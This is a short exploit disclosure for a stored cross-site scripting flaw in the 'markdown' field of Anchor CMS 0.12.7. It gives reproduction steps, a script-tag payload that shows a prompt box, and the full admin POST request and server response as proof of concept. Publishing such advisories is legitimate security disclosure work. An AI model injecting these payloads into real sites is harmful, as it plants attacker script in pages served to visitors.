Anchor CMS 0.12.7 – ‘markdown’ Stored Cross-Site Scripting
# Exploit Title: Anchor CMS 0.12.7 - 'markdown' Stored Cross-Site Scripting # Date: 2021-10-01 # Exploit Author: Ramazan Mert GÖKTEN # Vendor Homepage: anchorcms.com # Vulnerable Software: https://github.com/anchorcms/anchor-cms/releases/download/0.12.7/anchor-cms-0.12.7-bundled.zip # Affected Version: [ 0.12.7 ] # Tested on: Windows 10 # Vulnerable Parameter Type: POST # Vulnerable Parameter: markdown # Attack Pattern: <script>prompt("RMG_XSS_PoC")</script> # Description Exploitation of vulnerability as shown below; 1-) Entering the Admin Panel ( vulnerableapplication.com/anchor/admin ) 2-) Click Create a new post button at the Posts tab ( From "vulnerableapplication.com/anchor/admin/posts " to "vulnerableapplication.com/anchor/admin/posts/add " ) 3-) Relevant payload (<script>prompt("RMG_XSS_PoC")</script>) which was defined above entering the markdown parameter then click "save" button 4-) Finally, turn back the home page then shown the triggered vulnerability # Proof of Concepts: Request; POST /anchor/admin/posts/add HTTP/1.1 Host: vulnerableapplication.com Connection: close Content-Length: 234 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded Accept: */* Origin: https://vulnerableapplication.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://vulnerableapplication.com/anchor/admin/posts/add Accept-Encoding: gzip, deflate Accept-Language: tr-TR,tr;q=0.9 Cookie: anchorcms=eokq2ggm8mc4ulg2ii01a92a7d1jqvof7er085tqp9mvmdk2i3h1; _ga=GA1.2.798164571.1610282526; _gid=GA1.2.1405266792.1610282526; _gat=1 token=uyBOhuKe5lRACERuFGu9CzEqUVe9b6LgfNLFWA6rJJOjG5BPUr2XxZzUV0pMXiQn&title=xss-poc-test&markdown=%3Cscript%3Eprompt(%22RMG_XSS_PoC%22)%3C%2Fscript%3E&slug=xss-poc-test&description=&status=published&category=8&css=&js=&autosave=false Response; HTTP/1.1 200 OK Date: Sun, 10 Jan 2021 12:50:51 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache X-Robots-Tag: noindex,nofollow Connection: close Content-Type: application/json; charset=UTF-8 Content-Length: 105 {"id":"3","notification":"Your new article was created","redirect":"\/anchor\/admin\/posts\/edit\/3"} |